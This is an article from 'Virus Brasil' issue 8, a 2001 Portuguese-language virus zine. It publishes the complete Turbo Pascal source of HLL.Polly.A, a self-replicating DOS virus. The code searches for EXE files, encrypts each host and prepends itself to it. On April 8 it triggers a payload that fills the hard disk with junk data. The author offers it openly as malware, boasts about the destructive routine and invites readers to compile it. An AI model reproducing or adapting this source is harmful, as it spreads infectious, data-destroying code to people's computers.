Virus Brasil8:(polly.txt):20/02/2001 << Back To Virus Brasil8


─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ──────────────────────────────── 13 - HLL.Polly.A por _b0z0_ ──────────────────────────────── As fontes nao estao muito bem comentadas, como o proprio autor disse, segue abaixo uma pequena explicacao sobre o virus ... "O Polly.Hll.A é o primeiro de uma série ele tem alto poder de infecç╞o podendo i nfectar qualquer tipo de EXE usando a seguinte téc- nica: 1. PROCURA ARQUIVOS *.EXE 2. ENCRIPTA ELES COM DEC 3. COLOCA O VIRUS NO COMEÇO E DEIXA O ORIGINAL ENCRIPTADO NO FIM DO ARQUIVO. Aí,se o usuário pedir para executar o arquivo ele faz o seguinte: 1. O VIRUS É CHAMA DO JA QUE ESTA PRIMEIRO DO QUE O RESTO 2. ELE CHECA SE HOJE É 08/04 SE N╟O FOR ELE PROSSEGUE SE FOR ELE ZERA O HD ESCREVENDO UM ARQUIVO COM VARIOS GIGAS. 3. PROSSEGUINDO. ELE DECRIPTA O FIM DO ARQUIVO E ESCREVE ELE DECRIPTADO NUM ARQUIVO TEMPORARIO 4. ELE EXECUTA PELO COMMAND.COM ASSIM "COMMAND.COM /C ARQUIVO.EXE" ISTO TORNA POSSIVEL EXECUTAR ARQUIVO Win32 A╓ ESTA O SEGREDO. Mas o maior problema do vírus é o tamanho ele aumenta quase 10K no arquivo infectado o que acaba com o HD, por exemplo: Seu HD antes de ser infectado tem 50 exe's num total de 100MB Aí o vírus infecta ele fica com 50 exe's num total de 150MB O legal é que a rotina de ataque dele é linda: 1. COLOCA EM MODO GRAFICO 2. CRIA O ARQUIVO DOS7DT.TMP 3. ESCREVE BYTES SORTIDOS NO ARQUIVO ATE COMPLETAR o SEU HD 4. VAI DESENHANDO CORES SORTIDAS NA TELA 5. DE MIL EM MIL BYTES ELE ESCREVE A MENSAGEM DO VIRUS QUE É ASSIM: POLLY.A - ╪ts better to burn out than to fade away" POLLY.A WRITTEN BY _b0z0_ Vai me dizer que n╞o ficou legal, ent╞o divirta-se com meu vírus. Falow (_b0z0_) ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLLY ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } {$M $4000,0,0 } {$G+} program POLLY; uses Dos,Crt; const VSize=9104; { TAMANHO DO VIRUS EM BYTES } var i:Longint; { USADO NO ATAQUE } ii:Longint; { USADO NA CRIPTOGRAFIA } pp:Integer; { USADO AO EXECUTAR O PROGRAMA ORIGINAL } Pams:String; { USADO AO EXECUTAR O PROGRAMA ORIGINAL } FileLimit:Boolean; { USADO PARA LIMITE DE ARQUIVOS A INFECTAR } FilesI:Word; { USADO PARA LIMITE DE ARQUIVOS A INFECTAR } Dia,Mes:Byte; { USADO PARA CHACAGEM DE DIA E MES } FromF, ToF: file; { USADO PARA INFECTAR } NumRead, NumWritten: Word; { USADO PARA INFECTAR } Buf: array[1..VSize] of Char; { USADO PARA INFECTAR } F:Text; { USADO NO ATAQUE PARA "ZERAR" O HD } l:Word; { USADO NO ATAQUE } label Term; function Check(arq:String):Boolean; begin { CHECAGEM PARA VERIFICAR SE ESTE ARQUIVO É O VIRUS } Assign(Fromf,arq); { ABRE O ARQUIVO INDICADO } Reset(FromF,1); if FileSize(Fromf)=VSize then Check:=TRUE; { É O VIRUS SE O TAMANHO FOR 6.464} if FileSize(Fromf)<>VSize then Check:=FALSE;{ N╟O SE FOR MENOR OU MAIOR } Close(Fromf); { FECHAR O ARQUIVO } end; function Checkinf(arq:String):Boolean; begin { CHECAGEM PARA VERIFICAR SE O ESTE ARQUIVO ESTA INFECTADO PELO VIRUS } Assign(Fromf,arq); Reset(FromF,1); BlockRead(Fromf,Buf,SizeOf(buf),NumRead); if Buf[3]+Buf[4]+Buf[5]=#$90+#$01+#$12 then Checkinf:=TRUE else Checkinf:=FALSE; Close(Fromf); end; procedure infec(arq:String); begin { COPIA O PROGRAMA A SER INFECTADO } Assign(FromF,arq); { Open input file } Reset(FromF,1); { Record size = 1 } Assign(ToF,'TiiT.Jfs'); { Open output file } Rewrite(ToF,1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); for ii:=1 to SizeOf(Buf) do Buf[ii]:=Chr(Ord(buf[ii])-1); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); Close(ToF); { REESCREVE O PROGRAMA ORIGINAL COM O VIRUS } Assign(FromF,Paramstr(0)); { Open input file } Reset(FromF,1); { Record size = 1 } Assign(ToF,arq); { Open output file } Rewrite(ToF,1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until FileSize(ToF)=VSize; Close(FromF); Close(ToF); { COLOCA O PROGRAMA ORIGINAL NO FIM DO VIRUS } Assign(FromF,'TiiT.Jfs'); { Open input file } Reset(FromF,1); { Record size = 1 } Assign(ToF,arq); { Open output file } Reset(ToF,1); { Record size = 1 } Seek(Tof,FileSize(Tof)); repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); Close(ToF); Erase(Fromf); FilesI:=FilesI+1; end; procedure Extract(arq:String); begin { COLOCA O PROGRAMA ORIGINAL NO ARQUIVO C:\TIFF.EXE E O EXECUTA } { PSSS ! ESTE É NOSSO SEGREDINHO ! } Assign(FromF,arq); { Open input file } Reset(FromF,1); { Record size = 1 } Assign(ToF,'C:\TIFF.EXE'); { Open output file } Rewrite(ToF,1); { Record size = 1 } Seek(Fromf,VSize); repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); for ii:=1 to SizeOf(Buf) do Buf[ii]:=Chr(Ord(buf[ii])+1); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); Close(ToF); SwapVectors; for pp:=1 to ParamCount do Pams:=Pams+Paramstr(pp); Exec('C:\COMMAND.COM /C C:\TIFF.EXE',Pams); SwapVectors; Erase(Tof); end; procedure WhereEXE(dir:String); var ExeInfo:SearchRec; begin { PROCURA EXE NO DIRETORIO INDICADO } FindFirst(dir+'\*.EXE',Archive,ExeInfo); while (DosError=0) do begin if Checkinf(ExeInfo.Name)=FALSE then Infec(ExeInfo.Name); if (FileLimit=True) and (FilesI<=4) then FindNext(ExeInfo); if FileLimit=False then FindNext(ExeInfo); end; end; procedure WhereDIR; var DirInfo:SearchRec; begin { PROCURA DIRETORIOS NO C:\ E ENVIA O DIRETORIO PARA O LOCALIZADOR DE EXE's } FindFirst('C:\*.',Directory,DirInfo); while (DosError=0) do begin WhereExe('C:\'+DirInfo.Name); FindNext(DirInfo); end; end; procedure AT; begin { MINHA OBRI PRIMA ! A ROTINA DE ATQUE } asm mov ax,13 int 10h end; Assign(f,'C:\DOS7DT.TMP'); Rewrite(f); DirectVideo:=False; for i:=1 to DiskFree(0) do begin { AVANÇA O I DE UM EM UM } Write(f,Chr(Random(254)+1)); Mem[$A000:Random(64000)]:=Random(255); if l=1000 then begin Writeln('POLLY.A - "Its better to burn out than to fade away"'); Writeln(' POLLY.A WRITTEN BY _b0z0_ '); l:=0; end; l:=l+1; end; Close(f); end; procedure Corpo1; { CORPO PRINCIPAL SE O PROGRAMA SENDO EXECUTADO FOR O VIRUS ORIGINAL } begin FileLimit:=FALSE; FilesI:=0; Writeln('Loading...'); WhereDir; asm mov ax,3 int 10h mov ah,2ah int 21h mov [dia],dl mov [mes],dh end; if (mes=04) and (dia=08) then At; if (mes<>04) and (dia<>08) then RunError(162); end; procedure Corpo2; { CORPO PRINCIPAL SE O PROGRAMA SENDO EXECUTADO FOR UM PROGRAMA INFECTADO PELO VIRUS } begin FilesI:=0; FileLimit:=True; WhereDir; { SO ATACA SE VC ESTIVER EXECUTANDO O MIRC32.EXE. HEHEHEHEHEHE } asm mov ah,2ah int 21h mov [dia],dl mov [mes],dh end; if (mes=04) and (dia=08) then At; { SE N╟O FOR O MIRC32.EXE ELE EXECUTA O PROGRAMA NORMALMENTE } if (mes<>04) or (dia<>08) then Extract(Paramstr(0)); Port[$60]:=$60; Inline($9C); Port[$60]:=$40; end; begin if Check(Paramstr(0))=TRUE then Corpo1; { SE FOR O VIRUS ORIGINAL MANDA PRA CORPO 1 } if Check(Paramstr(0))=FALSE then Corpo2; { SE FOR UM PROGRAMA INFECTADO PELO VIRUS MANDA PRA CORPO 2 } end. { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLLY ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } Virus compilado com TurboPascal7.0, mas deve funcionar em todas as versoes do pascal, se algum tiver um compilador de pascal para 32 e tiver os dons de compilar e mandar pra mim, agradeco... E' isso, sem mais,valeu _b0z0_ nim_bus@hotmail.com ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2001, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────